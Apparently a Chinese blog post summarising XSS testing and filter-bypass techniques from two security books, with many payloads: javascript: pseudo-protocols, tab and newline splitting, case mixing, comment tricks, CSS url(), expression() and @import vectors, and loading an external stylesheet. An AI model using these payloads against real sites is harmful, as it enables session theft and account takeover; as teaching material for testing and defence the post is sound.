来源《XSS跨站脚本攻击剖析与防御》&《WEB前端技术揭秘》

一、一般测试方法

步骤:

0.总则:见框就插

1.在输入框随便输入一些简单的字符,如 aaa,方便后续查找输出位置

2.按下F12打开开发者模式,ctrl+F键,搜索 aaa

3.多数情况下是在标签的value="aaa"中,或者独立出来包含在一些别的标签中,如divspan

4.根据特定情况构造payload,一般是直接构造标签或者闭合标签再构造或者利用伪协议

二、常用技巧

  • 1.JS伪协议利用

形式:javascript:[代码]

示例:<table background="javascript:alert(1)"></table>,引号可以去掉

支持伪协议的属性有:href,lowsrc,bgsound,background,action,dynsrc

  • 2.基于黑名单的过滤

js代码 中,利用空格回车tab键,切记只有""包裹的js代码才可以随便利用空格、回车、tab键,例如src="java script:xxxx",而这样不行:src=java script:xxxx

,而且回车、换行不支持在on事件中使用,空格可以

js引擎特性:js语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号

例:

var a = 1
var b = 2;
//上述语句正确

示例:<img src="javas cript:alert(1)">,中间为tab键

    用于绕过某些XSS防护
<img src="jav ascript:alert('XSS');"> 也可以对TAB编码
<img src="jav ascript:alert('XSS');"> 利用换行符拆解
<img src="jav ascript:alert('XSS');"> 利用回车拆解
<img src="jav ascript:alert('XSS');">

② 大小写混淆

示例:<IMg SRc oNERRoR=aLERT(1)>

③ 编码绕过

暂无

④ 奇淫技巧

1.过滤引号

策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)

2.过滤空格

策略:/**/,注释符号绕过;/符号绕过;

例:<img/src/onerror=alert(1)>

3.属性关键词被过滤

策略:插入/**/\\0

示例:

//1.`/**/`
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);"> //2.`\`、`\0`只能在css样式\js中使用,两者会被浏览器忽略
<style>
@\0im\port'\0ja\vasc\ript:alert(1)';
//此处用到了@import,详细@import解释在后面
</style> 4.`<!-- -->`注释绕过
`<!--<img src="--><img src onerror=alert(1)//">`
解释: `<style><img src="</style><img src onerror=alert(1)//">`
解释:

5.利用 JSFuck 绕过关键词过滤

JSFuck

  • 3.js事件执行代码

示例:<img src onerror=alert(1)>

js事件:onerror,onclick,onmouseover,onkeydown·········

其他事件查询:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

  • 4.利用css跨站 (style属性或者style标签)

    ① 直接执行

利用的是属性中的 url ,跟伪协议相似

示例:

//1.
<div style="background-image:url(javascript:alert(1))"> //2.
<style>
body{background-image:url(javascript:alert(1));}
</style> //3.
<div style="list-style-image:url(javascript:alert(1));">

② IE 下利用 expression

解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,

示例:

//1.
<div style="width:expression(alert(1));"> //2.
<img src="#" style="xss:expression(alert(1));"> //3.
<div style="list-style-image:expression(alert(1));"> //4.
<style>
body{background-image:expression(alert(1));}
</style>

③ 引用外部css文件执行xss

示例:

//1. 利用 link 标签
<link rel="stylesheet" href="http://www.mysite.com/eval.css"> //2.利用 @import 导入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style> //3.@import特性--直接执行js代码
<style>
@import "javascript:alert(1)";
</style>

三、更新内容 -- 利用JS全局变量绕过XSS过滤器

原文地址:

XSS之绕过WAF总结的更多相关文章

  1. WAF指纹识别和XSS过滤器绕过技巧

    [译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  4. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

  5. 技术分享:杂谈如何绕过WAF(Web应用防火墙)(转)

    0×01开场白 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. 可能在大家眼中WAF(Web应用防火墙)就是"不要脸"的代名词.如果没有他,我们的" ...

  6. XSS插入绕过一些方式总结

    详见:http://blog.csdn.net/keepxp/article/details/52054388 1 常规插入及其绕过 1.1 Script 标签 绕过进行一次移除操作: <scr ...

  7. 1.如何绕过WAF(Web应用防火墙)

    一:大小写转换法: 看字面就知道是什么意思了,就是把大写的小写,小写的大写.比如: SQL:sEleCt vERsIoN(); ‍‍XSS:)</script> 出现原因:在waf里,使用 ...

  8. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

  9. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. AX2012 form displays unusually because of native resolution issues(由于本机高分辨率问题导致AX2012界面显示异常)

    Please tick the 'Disable display scaling on high DPI settings' and re-logiin AX,it will be OK. 当你遇到本 ...

  2. Vue2.0 【第一季】第8节 v-pre & v-cloak & v-once

    目录 Vue2.0 [第一季] 第8节 v-pre & v-cloak & v-once v-pre 指令 v-cloak 指令 v-once 指令 Vue2.0 [第一季] 第8节 ...

  3. 把读取sql的结果写入到excel文件

    1.利用pandas模块 # encoding: utf-8 import time import pandas as pd import pymysql def getrel(sql): ''' 连 ...

  4. Sqli-labs 搭建SQL注入平台

    sqli-labs是一款学习sql注入的开源平台,共有75种不同类型的注入. 搭建步骤: 1.在Windows系统中安装WAMP 下载地址:https://pan.baidu.com/s/1HY0hF ...

  5. Android UI性能测试——使用 Systrace 查找问题

    一 官方文档翻译 官文地址:https://developer.android.com/studio/command-line/systrace systrace命令允许您在系统级别上收集和检查所有运 ...

  6. Maven+JSP+Servlet+JDBC+Mysql实现的dbExper宾馆管理系统

    本文存在视频版本,请知悉 项目简介 项目来源于:https://github.com/mafulong/databaseExper-hotelMaster 这次分享的也是毕设或课程设计选择一样很多的宾 ...

  7. 物联网时代-新基建-ThingsBoard调试环境搭建

    前言 2020开年之际,科比不幸离世.疫情当道.经济受到了严重的损失.人们都不幸的感慨: 2020年真是太不真实的一年,可以重新来过就好了!国家和政府出台了拯救经济和加速建设的利好消息.3月份最热的词 ...

  8. Java并发编程之CAS二源码追根溯源

    Java并发编程之CAS二源码追根溯源 在上一篇文章中,我们知道了什么是CAS以及CAS的执行流程,在本篇文章中,我们将跟着源码一步一步的查看CAS最底层实现原理. 本篇是<凯哥(凯哥Java: ...

  9. Consider defining a bean named 'authenticator' in your configuration.

    SpringBoot整合Shiro时出错: 异常日志: o.s.b.d.LoggingFailureAnalysisReporter: *************************** APPL ...

  10. ajax结合sweetalert弹出框删除数据

    思路: